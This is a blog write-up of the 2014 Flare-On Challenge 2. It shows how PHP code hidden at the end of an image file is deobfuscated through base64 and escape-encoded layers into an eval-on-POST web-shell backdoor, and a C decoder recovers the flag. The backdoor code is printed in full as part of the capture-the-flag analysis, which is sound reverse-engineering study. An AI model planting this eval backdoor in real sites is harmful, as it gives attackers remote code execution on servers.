2014 Flare On Challenge 2

You can download the challenge from here : http://www.flare-on.com/files/C2.zip

The zip file contains a html file and an image as the logo of the html file inside the img folder.

View post on imgur.com

View post on imgur.com

If we open the image in a hex editor we can see at the end it contains PHP code.

View post on imgur.com


[code language=”php”]

<?php
$_= ‘aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9′;

$__=’JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7′;

$___="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";

eval($___($__));
?>
[/code]

Instead of eval replace with print or echo. Next we get this.

[code language=”php”]
$_= \’aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9\’;

$__=\’JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7\’;

$___="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";

eval($___($__));

[/code]

Again if we replace eval with print or echo we get this output.

[code language=”php”]
$code=base64_decode($_);eval($code);
[/code]

The $_ variable is in base64 and we can include the above line and get the output.
[code language=”php”]
<?php
$_= ‘aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9′;

$__=’JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7’;

$___="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";

$code=base64_decode($_);

print($code);

?>
[/code]

After printing this will be the output.

[code language=”php”]
if(isset($_POST["\97\49\49\68\x4F\84\116\x68\97\x74\x44\x4F\x54\x6A\97\x76\x61\x35\x63\x72\97\x70\x41\84\x66\x6C\97\x72\x65\x44\65\x53\72\111\110\68\79\84\99\x6F\x6D"])) {
eval(base64_decode($_POST["\97\49\x31\68\x4F\x54\116\104\x61\116\x44\79\x54\106\97\118\97\53\x63\114\x61\x70\65\84\102\x6C\x61\114\101\x44\65\x53\72\111\x6E\x44\x4F\84\99\x6F\x6D"]));
}
[/code]

Next I wrote this program to decode the above two strings and here’s the solution 🙂

[code language=”c”]
#include <stdio.h>
#include <string.h>
/*
* Author: Osanda Malith Jayathissa (@OsandaMalith)
* Website: http://osandamalith.wordpress.com
*/
int main() {

char *a[] = {"97", "49", "49", "68", "\x4F", "84", "116", "\x68", "97", "\x74", "\x44", "\x4F", "\x54", "\x6A", "97", "\x76", "\x61", "\x35", "\x63", "\x72", "97", "\x70", "\x41", "84", "\x66", "\x6C", "97", "\x72", "\x65", "\x44", "65", "\x53", "72", "111", "110", "68", "79", "84", "99", "\x6F", "\x6D"};

char *b[] = {"97", "49", "\x31", "68", "\x4F", "\x54", "116", "104", "\x61", "116", "\x44", "79", "\x54", "106", "97", "118", "97", "53", "\x63", "114", "\x61", "\x70", "65", "84", "102", "\x6C", "\x61", "114", "101", "\x44", "65", "\x53", "72", "111", "\x6E", "\x44", "\x4F", "84", "99", "\x6F", "\x6D"};

for(int i=0;i<sizeof(a)/sizeof(*a);i++)
printf("%c", strlen(*(a+i)) == 1 ? **(a+i) : atoi(*(a+i)));

puts("");

for(int i=0;i<sizeof(b)/sizeof(*b);i++)
printf("%c", strlen(*(b+i)) == 1 ? **(b+i) : atoi(*(b+i)));

}
[/code]

View post on imgur.com

Leave a Reply